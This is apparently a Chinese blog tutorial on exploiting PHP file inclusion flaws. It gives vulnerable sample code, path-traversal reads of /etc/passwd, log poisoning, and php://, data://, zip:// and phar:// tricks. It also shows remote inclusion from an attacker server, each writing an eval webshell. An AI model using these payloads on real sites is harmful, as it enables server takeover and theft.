About WEB Security
文件包含漏洞
文件包含漏洞,通过包含的内容不同区分为本地文件包含和远程文件包含。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。
产生漏洞原因
程序员在进行代码书写时,一些重复用到的代码或者函数会被封装起来,作为单独的一个文件,在用到时,使用一些加载函数加载进来。或者是加载某些图片或者是外部的文件,也会用到这些函数。
文件包含涉及到的函数
require
include
这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
如果”allow_url_fopen”在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。
require_once
include_once
require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
测试案例
<?php
@$f = $_GET['file'];
require($f);
?>
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>
windows下的phpstudy或者wamp以及linux下的lamp环境都可以。
本地文件包含漏洞
第一步就是想尽各种办法搜集主机信息了,看看是linux还是windows。比如:
http://www.xxx.com/index.php?page=hello.php
hello.php肯定是不存在的,看看服务器会不会报错,根据报错情况进行判断。windows无非就是D:\www\index.php,linux就是\var\www\html\index.php,,或者是通过抓包,看http请求包或者响应包的内容来进行判断,大致就是这个意思。
windows敏感信息:
c:\boot.ini
c:\windows\systems32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\windows\php.ini php配置文件
c:\windows\my.ini mysql配置文件
linux敏感信息:
/etc/passwd
/usr/local/app/apache2/conf/http.conf
/usr/local/app/php5/lib/php.ini PHP相关设置
/etc/httpd/conf/http.conf apache配置文件
/etc/my.cnf mysql配置文件
1.包含本地敏感文件
比如权限够高,可以读取/etc/passwd等敏感文件的内容,或者是通过目录扫描的方式来包含敏感文件。
使用测试案例第一个:
http://www.xxx.com/require.php?page=../../../etc/passwd
2.包含正常文件
文件包含时,当文件是php文件的时候,文件包含会直接执行php文件,如果不是php文件,则会直接读取内容,看内容中有没有php代码,如果有,就把其当作代码去执行,没有就直接把内容展示出来。
基于上面的描述,当出现文件包含漏洞的时候,也可以在网站内找文件上传点,然后通过包含正常的图片,或者包含网站允许上传的文件内容,就可以轻松的getshell。比如上传一个内容如下所示的jgp文件:
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['aa']);?>")?>
也可以再加一些16进制的文件头伪装一下,都是不影响脚本执行的。
3.包含日志文件
对WEb服务器发起的每一次请求都会被记录在WEB服务器的日志文件中,所以,当构造请求为:
http://www.xxx.com/<?php @eval($_POST['aa'])?>
日志文件中就会留存这样的一条记录,保存完整的url。之后借助第二条的文件包含漏洞利用方式,把日志文件包含进来,然后服务器发现里面的php代码,就会去执行php代码。这种操作最好在凌晨12点进行,因为刚好服务器的日志会重新简历,日志文件没有那么大,不然会出现很多意想不到的情况。
4.php伪协议
php伪协议内容:
ile:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php伪协议实际上就是支持的协议与封装协议。
4.1 php://filter利用php伪协议以base64加密的方式去读取文件内容
http://www.xxx.com/require.php?page=php://filter/read=convert.base64-encode/resource=config.php
这样就可以读取到一个php文件内容了。
4.2 写入php文件
php://input
这个写入需要一定的条件,当apache的配置选项allow_url_include为on的时候,就是开启这个选项的时候,就可以构造写入文件的pyload进行写入木马:
http://www.xxx.com/index.php?page=php://input
并需要POST过去一个数据:
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['aa']);?>")?>
这样,就可以把成功生成一个shell.php文件了。
data:text/plain;
利用 php 的数据协议 data:// 可以查看文件源代码,前提是 php.ini 中的 allow_url_fopen 和 allow_url_include 两个配置为 on, 当然也可以写入文件:
data:text/plain,<?php phpinfo();?>
data:text/plain;PD9waHAgcGhwaW5mbygpOz8+
这上面其实是一个payload,只不过一个使用了base64加密,一个没有。两个的语法区别在于使用base64加密的,使用分号隔离,没有使用base64加密的使用逗号隔离。
4.3 zip//
这个方法用于,服务器验证上传文件的特定后缀,比如下面这样的:
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>
一种情况是截取文件的后缀名,一种是直接给文件名字后面加上后缀名。两种方式,都可以有效阻止非法文件包含。(有人说00截断,00截断在下篇说)
这时候,就需要使用zip://这样的骚操作了。
先写一个一句话木马的php脚本(脚本内容可以是上面4.2POST过去的数据内容),然后打成压缩包,之后访问:
http://www.xxx.com/index.php?page=zip://var/www/html/php.zip%23shell.php
这样就可以成功实现getshell,不过这种方法有两点需要注意:
1.压缩包文件名字跟压缩包内的脚本文件名中间加一个#号,但#号必须使用URL编码%23
2.必须使用绝对路径
4.4 phar://
首先需要用phar类打一个phar标准包:
<?php
$p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ;
$x=file_get_contents('./php.php');
$p->addFromString('a.jpg',
$x);
?>
然后会生成一个zip文件,这时候构造payload:
http://www.xxx.com/index.php?page=phar://php.zip/shell.php
这时候,就可以尝试getshell了。
(PS:伪协议这个其实好多,下篇再慢慢解释)
远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。
远程文件包含的利用方式其实比较单一,只不过远程文件包含的话,包含的东西是在自己可控的公网服务器中,比如公网服务器中存在一个1.txt可以访问的到,1.txt内容如下:
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['aa']);?>")?>
构造payload:
http://www.xxx.com/index.php?page=http://1.1.1.1/1.txt
这样利用php文件包含的特性,就可以在目标服务器中写入webshell了。
小结
关于文件包含,还有一个小技巧没有写上去,下一篇会写上去00截断的一些东西,最近忙于实习工作,都得挤时间写博客啊。最近把自己会的WEB方面的漏洞以及渗透测试的技巧什么的,都写一写,再放一些工具福利什么的。
致谢: